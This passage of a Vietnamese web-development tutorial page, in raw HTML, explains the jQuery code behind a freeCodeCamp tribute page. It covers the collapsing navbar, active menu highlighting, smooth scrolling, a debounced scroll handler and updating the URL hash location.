XQz4Zh6ISs3VywV86Glnv/Aymtt0wcjY8Wixw4e5icBQSy9jnr8z6ub7ACbnyvA0GBizWd/VjkYV5tWAYErHUYjYkZjO6Tk70/8ELnvmHmXPHCX15Zerh6l8dkxdkIE0nYs0tzL+rHxuwWIFuk1kaCk8b9RIOVS1mq4RMaITD62nRdtc7wbMrsPTWlPheYPz+StRqUCv4wzIezWnSS0PhbpMZINsd9rlZnZit4DMhAQsSsZRc6kfNv5L3tOjJpy8MtM3wPgpIydecY0atRMEfVgqZoyMceC5CtjsA0B9y+d0S9nmFkKnkM6ARrrLvfVHbW9OcLstAm4P23nrA+E+rDPnMt2jWSEG6WsyWc4fcfjfoDwKScMTthEUMklzAkPPociFLQetVddb7wC5rb6OH2pGZs69OSh4ueQNjSjGHBolYYibZ7YIl4QggDUdcTlgwTJbzmTKQJucNK3g0UWeDk9X5cecxN6Uz4ZpYHuNno7aLcsEIl6oQMETDJLezGAYDIafXJWaQpTy6DKQpBQw2ky4+R3TQ262DrQFGV8pn2l6wL1ohEZsm49JlIF3MIDt9LjAQAgbhaXskrARpCgHDoBI11f/6F2+/HfK6jUPtVkqrh/FBfEaXnbcaRobFHOoIZ0jEoii4Q7bZ8CA8DXSbJqWhS9aL2r6erqojr+/ZQ3j22T0ypXpmctxEPWNl90Q19E8dBpFAyKeThIxBNqV3chSShi51myaBPrPljHFywg7ve34fYc/uffufLykh/PTQT6ad3lm3+/qMPiQZgCVcnmrqbB+dy2GBQwOhT+baDRP9U1b8xzghV/L8wb4BUulze79TfqD8wIFvlZaQSOTPP/9i6dPFccqHZpmUylH88uQHP/99h9E6ww88up4ki/UkpG6C1NBspLeP9PLL5S+98r1vv/hSde1bN6/f8M24fKaxhcvz7afP/vjNY6AYkgZCjZD6pEpDslgBitPVYhhvHzc268ckV6LKCeNvf9f4/R/8sGzfC0aT9dbK6o0vbm5uoHxQoJqCpdH5d/SG0+PGFsM4xekC2qnUN1rbqokdNUTia39sPd7dM8BknjrV/t3y8tcOv97XT6LSGWLRyCCbfexPfz7c0lZzmlhN7Hijta2dSgUOHzpEAIC9paXPlZTsLS0tIRB27dpVVlb2wv79ZWVluwmE3QQCvvfMMyUEwuM2AoAHASKx40hVVW1dXU1tbU3t16qrq48ePVpTU1NXV1dbW1tXVFtsqCmuj1RVEYkd/wZynXPs4OZYwwAAAABJRU5ErkJggg=='); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="freecodecamp - build a tribute page - setting with no menu at completejavascript - completejavascript.com" title="freecodecamp - build a tribute page - setting with no menu at completejavascript - completejavascript.com" src="/static/59f7accebb25333e499d6de0aea05206/edfbf/freecodecamp-setting-menu.png" srcset="/static/59f7accebb25333e499d6de0aea05206/103f2/freecodecamp-setting-menu.png 165w, /static/59f7accebb25333e499d6de0aea05206/748ba/freecodecamp-setting-menu.png 330w, /static/59f7accebb25333e499d6de0aea05206/edfbf/freecodecamp-setting-menu.png 421w" sizes="(max-width: 421px) 100vw, 421px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p>Khi người dùng nhấn vào biểu tượng menu ở góc trên bên phải thì các thanh menu sẽ đổ xuống, sau khi lựa chọn xong thì chúng lại được kéo lên, nhằm tiết kiệm diện tích màn hình.</p> <p>Ngoài ra, menu còn trỏ đến các mục tương ứng trên trang là: <strong>About</strong>, <strong>Career</strong> và <strong>Qoutes</strong>. Khi kéo trang đến mục nào thì menu ứng với mục đó sẽ được hiển thị đậm hơn (bạn có thể chạy thử phần demo phía trên để thấy rõ hơn). Logic phần này cũng sẽ được giải thích phía sau đây.</p> <h3 id="bắt-đầu-với-documentready" style="position:relative;"><a href="#b%E1%BA%AFt-%C4%91%E1%BA%A7u-v%E1%BB%9Bi-documentready" aria-label="bắt đầu với documentready permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bắt đầu với $(document).ready()</h3> <p>Hàm này dùng để phát hiện trạng thái khi toàn bộ các phần tử <a href="/co-ban-ve-dom-javascript/">DOM</a> đã được load.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// A $( document ).ready() block.</span> <span class="token function">$</span><span class="token punctuation">(</span>document<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">ready</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"ready!"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <h3 id="kích-hoạt-menu-item" style="position:relative;"><a href="#k%C3%ADch-ho%E1%BA%A1t-menu-item" aria-label="kích hoạt menu item permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kích hoạt menu item</h3> <p>Ở đây, mình gán tên class <em>.my-menu</em> cho 3 menu item là About, Career và Qoutes:</p> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>li</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>menu-about<span class="token punctuation">"</span></span> <span class="token attr-name">class</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>my-menu active<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>a</span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>#about<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>About<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>a</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>li</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>li</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>menu-career<span class="token punctuation">"</span></span> <span class="token attr-name">class</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>my-menu<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>a</span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>#career<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>Career<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>a</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>li</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>li</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>menu-qoute<span class="token punctuation">"</span></span> <span class="token attr-name">class</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>my-menu<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>a</span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>#qoute<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>Qoutes<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>a</span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>li</span><span class="token punctuation">></span></span></code></pre></div> <p>Khi một trong 3 menu item này được click thì hàm sau sẽ được gọi:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Navigation Bar Handling</span> <span class="token function">$</span><span class="token punctuation">(</span><span class="token string">".my-menu"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">click</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> menuClicked <span class="token operator">=</span> <span class="token boolean">true</span><span class="token punctuation">;</span> <span class="token function">activateMenu</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">$</span><span class="token punctuation">(</span><span class="token string">"#my-navbar"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">slideUp</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Có 3 thứ cần làm khi menu item được click:</p> <ul> <li>Set giá trị <strong>true</strong> cho biến <strong>menuClicked</strong> để xác định trường hợp này là menu item được click, dùng để phân biệt với trường hợp trang được kéo (scroll).</li> <li>Kích hoạt menu item được click (bỏ <strong>active</strong> với các menu item còn lại) thông qua class <strong>active</strong> - xử lý bởi Bootstrap.</li> </ul> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">activateMenu</span><span class="token punctuation">(</span><span class="token parameter">menuItem</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">$</span><span class="token punctuation">(</span>menuItem<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">parent</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">children</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">removeClass</span><span class="token punctuation">(</span><span class="token string">"active"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">$</span><span class="token punctuation">(</span>menuItem<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">addClass</span><span class="token punctuation">(</span><span class="token string">"active"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <h3 id="smooth-scrolling-khi-click-menu-item" style="position:relative;"><a href="#smooth-scrolling-khi-click-menu-item" aria-label="smooth scrolling khi click menu item permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Smooth scrolling khi click menu item</h3> <p>Giả sử, trang web đang ở vị trí đầu trang (<em>About</em>). Nếu người dùng click vào menu <em>Qoutes</em> thì mặc định trang web sẽ nhảy thẳng đến mục đó. Phần sau sẽ custom lại hoạt động này giúp cho việc <em>scrolling</em> trở nên <em>smooth</em> hơn.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Smooth scrolling</span> <span class="token function">$</span><span class="token punctuation">(</span><span class="token string">"a[href*='#']:not([href='#'])"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">click</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span> location<span class="token punctuation">.</span>pathname<span class="token punctuation">.</span><span class="token function">replace</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">^\/</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">,</span> <span class="token string">""</span><span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token keyword">this</span><span class="token punctuation">.</span>pathname<span class="token punctuation">.</span><span class="token function">replace</span><span class="token punctuation">(</span><span class="token regex"><span class="token regex-delimiter">/</span><span class="token regex-source language-regex">^\/</span><span class="token regex-delimiter">/</span></span><span class="token punctuation">,</span> <span class="token string">""</span><span class="token punctuation">)</span> <span class="token operator">||</span> location<span class="token punctuation">.</span>hostname <span class="token operator">==</span> <span class="token keyword">this</span><span class="token punctuation">.</span>hostname <span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> target <span class="token operator">=</span> <span class="token function">$</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>hash<span class="token punctuation">)</span><span class="token punctuation">;</span> target <span class="token operator">=</span> target<span class="token punctuation">.</span>length <span class="token operator">?</span> target <span class="token operator">:</span> <span class="token function">$</span><span class="token punctuation">(</span><span class="token string">"[name="</span> <span class="token operator">+</span> <span class="token keyword">this</span><span class="token punctuation">.</span>hash<span class="token punctuation">.</span><span class="token function">slice</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span> <span class="token operator">+</span> <span class="token string">"]"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>target<span class="token punctuation">.</span>length<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">$</span><span class="token punctuation">(</span><span class="token string">"html,body"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">animate</span><span class="token punctuation">(</span> <span class="token punctuation">{</span> <span class="token literal-property property">scrollTop</span><span class="token operator">:</span> target<span class="token punctuation">.</span><span class="token function">offset</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>top<span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token number">1000</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Phần <code>$("a[href*='#']:not([href='#'])")</code> được hiểu là: lựa chọn tất cả các thẻ &#x3C;a> bắt đầu bằng <em>#</em> và không phải là chỉ <em>#</em>, cụ thể là <em>#about, #career, #qoute</em> - 3 mục chính trên trang web.</p> <p>Trong đó, sau khi đã xác định được <em>target</em>, sử dụng <a href="http://api.jquery.com/animate/">.animate()</a> để tạo ra animation lúc chuyển động đến vị trí đích (code trên mình tham khảo tại <a href="https://css-tricks.com/snippets/jquery/smooth-scrolling/">đây</a>).</p> <h3 id="xử-lý-khi-người-dùng-kéo-scroll-trang" style="position:relative;"><a href="#x%E1%BB%AD-l%C3%BD-khi-ng%C6%B0%E1%BB%9Di-d%C3%B9ng-k%C3%A9o-scroll-trang" aria-label="xử lý khi người dùng kéo scroll trang permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xử lý khi người dùng kéo (scroll) trang</h3> <h4 id="bắt-sự-kiện-scroll" style="position:relative;"><a href="#b%E1%BA%AFt-s%E1%BB%B1-ki%E1%BB%87n-scroll" aria-label="bắt sự kiện scroll permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bắt sự kiện scroll</h4> <p>Để <a href="/xu-ly-mot-event-javascript-co-ban/">xử lý sự kiện</a> này, mình sử dụng hàm <a href="https://api.jquery.com/scroll/">.scroll()</a> của jQuery.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Update menu while scrolling</span> <span class="token function">$</span><span class="token punctuation">(</span>window<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">scroll</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>timer<span class="token punctuation">)</span> <span class="token punctuation">{</span> window<span class="token punctuation">.</span><span class="token function">clearTimeout</span><span class="token punctuation">(</span>timer<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> timer <span class="token operator">=</span> window<span class="token punctuation">.</span><span class="token function">setTimeout</span><span class="token punctuation">(</span>handleScrollEvent<span class="token punctuation">,</span> <span class="token number">100</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Thực tế, khi người dùng kéo trang thì sự kiện này sẽ liên tục được gọi. Để tránh tình trạng đó, mình sẽ gọi đến hàm <em>handleScrollEvent</em>, sau thời gian timeout là 100 ms. Trong khoảng thời gian này, nếu như tiếp tục có sự kiện gọi đến thì hành động trước sẽ bị xoá đi, để tránh phải xử lý quá nhiều việc giống nhau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">if</span> <span class="token punctuation">(</span>timer<span class="token punctuation">)</span> <span class="token punctuation">{</span> window<span class="token punctuation">.</span><span class="token function">clearTimeout</span><span class="token punctuation">(</span>timer<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <h4 id="xử-lý-sự-kiện-scroll" style="position:relative;"><a href="#x%E1%BB%AD-l%C3%BD-s%E1%BB%B1-ki%E1%BB%87n-scroll" aria-label="xử lý sự kiện scroll permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xử lý sự kiện scroll</h4> <p>Có một vấn đề phát sinh là khi người dùng click vào menu item, trang web được scroll đến một mục khác. Lúc này, <strong>$(window).scroll</strong> cũng sẽ được gọi tới. Để tránh xung đột giữa hai trường hợp (người dùng kéo trang và người dùng click vào menu), mình đã sử dụng một biến <a href="/kieu-du-lieu-trong-javascript/">Boolean</a> là <strong>menuClicked</strong> để phân biệt. Trường hợp, click menu item thì <code>menuClicked = true</code> và mình sẽ không xử lý gì trong <a href="/ham-la-gi-ham-trong-javascript/">function</a> <em>handleScrollEvent</em>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">handleScrollEvent</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token operator">!</span>menuClicked<span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> about <span class="token operator">=</span> <span class="token function">$</span><span class="token punctuation">(</span><span class="token string">"#about"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> career <span class="token operator">=</span> <span class="token function">$</span><span class="token punctuation">(</span><span class="token string">"#career"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> qoute <span class="token operator">=</span> <span class="token function">$</span><span class="token punctuation">(</span><span class="token string">"#qoute"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">isInViewPort</span><span class="token punctuation">(</span>about<span class="token punctuation">)</span> <span class="token operator">&amp;&amp;</span> <span class="token operator">!</span>about<span class="token punctuation">.</span><span class="token function">hasClass</span><span class="token punctuation">(</span><span class="token string">"active"</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">activateMenu</span><span class="token punctuation">(</span><span class="token function">$</span><span class="token punctuation">(</span><span class="token string">"#menu-about"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">setHashLocation</span><span class="token punctuation">(</span><span class="token string">"#about"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">isInViewPort</span><span class="token punctuation">(</span>career<span class="token punctuation">)</span> <span class="token operator">&amp;&amp;</span> <span class="token operator">!</span>career<span class="token punctuation">.</span><span class="token function">hasClass</span><span class="token punctuation">(</span><span class="token string">"active"</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">activateMenu</span><span class="token punctuation">(</span><span class="token function">$</span><span class="token punctuation">(</span><span class="token string">"#menu-career"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">setHashLocation</span><span class="token punctuation">(</span><span class="token string">"#career"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">isInViewPort</span><span class="token punctuation">(</span>qoute<span class="token punctuation">)</span> <span class="token operator">&amp;&amp;</span> <span class="token operator">!</span>qoute<span class="token punctuation">.</span><span class="token function">hasClass</span><span class="token punctuation">(</span><span class="token string">"active"</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">activateMenu</span><span class="token punctuation">(</span><span class="token function">$</span><span class="token punctuation">(</span><span class="token string">"#menu-qoute"</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">setHashLocation</span><span class="token punctuation">(</span><span class="token string">"#qoute"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span> menuClicked <span class="token operator">=</span> <span class="token boolean">false</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Trường hợp, không phải là click menu thì mình sẽ kiểm tra trong 3 mục chính, phần nào nằm trong viewport thì sẽ active menu tương ứng và set lại <em>hash location</em> ở thanh địa chỉ URL. Sau đây là hàm kiểm tra xem 1 phần tử có nằm trong viewport hay không:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">isInViewPort</span><span class="token punctuation">(</span><span class="token parameter">element</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// get top and bottom of element</span> <span class="token keyword">let</span> elementTop <span class="token operator">=</span> <span class="token function">$</span><span class="token punctuation">(</span>element<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">offset</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>top<span class="token punctuation">;</span> <span class="token keyword">let</span> elementBottom <span class="token operator">=</span> elementTop <span class="token operator">+</span> <span class="token function">$</span><span class="token punctuation">(</span>element<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">outerHeight</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// get top and bottom of viewport</span> <span class="token keyword">let</span> viewPortTop <span class="token operator">=</span> <span class="token function">$</span><span class="token punctuation">(</span>window<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">scrollTop</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> viewPortBottom <span class="token operator">=</span> viewPortTop <span class="token operator">+</span> <span class="token function">$</span><span class="token punctuation">(</span>window<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">height</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> elementBottom <span class="token operator">></span> viewPortTop <span class="token operator">&amp;&amp;</span> elementTop <span class="token operator">&lt;</span> viewPortBottom<span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <h4 id="hash-location" style="position:relative;"><a href="#hash-location" aria-label="hash location permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Hash location</h4> <p>Giả sử địa chỉ trang <strong>Build a tribute page</strong> này là <strong>127.0.0.1:8000</strong>, khi đó, địa chỉ tương ứng với 3 mục about, career và qoutes là:</p> <ul> <li><strong>127.0.0.1:8000/#about</strong></li> <li><strong>127.0.0.1:8000/#career</strong></li> <li><strong>127.0.0.1:8000/#qoute</strong></li> </ul> <p>Khi người dùng kéo trang web đến mục nào thì mình sẽ set lại địa chỉ ứng với mục đó, như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">setHashLocation</span><span class="token punctuation">(</span><span class="token parameter">id</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">var</span> scrollmem <span class="token operator">=</span> <span class="token function">$</span><span class="token punctuation">(</span><span class="token string">"html,body"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">scrollTop</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> window<span class="token punctuation">.</span>location<span class="token punctuation">.</span>hash <span class="token operator">=</span> id<span class="token punctuation">;</span> <span class="token function">$</span><span class="token punctuation">(</span><span class="token string">"html,body"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">scrollTop</span><span class="token punctuation">(</span>scrollmem<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Khi mình gọi <code>window.location.hash = id</code>, địa chỉ URL sẽ được cập nhật, đồng thời trang web sẽ nhảy đến vị trí đầu tiên ứng với mục đó. Nghĩa là nếu như người dùng kéo trang web đến giữa hoặc cuối của một mục (giả sử là career), thì sau lệnh trên, trang web lại bị kéo lên vị trí đầu tiên của mục đó (career).</p> <p>Đoạn code trên, nếu phân tích thì sẽ như sau:</p> <ul> <li><code>var scrollmem = $('html,body').scrollTop</code> => lấy vị trí của trang web tại top của viewport, gọi là x</li> <li><code>window.location.hash = id</code> => set lại hash location, và trang web nhảy đến vị trí y - là vị trí bắt đầu của một mục</li> <li><code>$('html,body').scrollTop(scrollmem)</code> => kéo trang web quay trở về vị trí trước đó là x.</li> </ul> <h2 id="kết-luận" style="position:relative;"><a 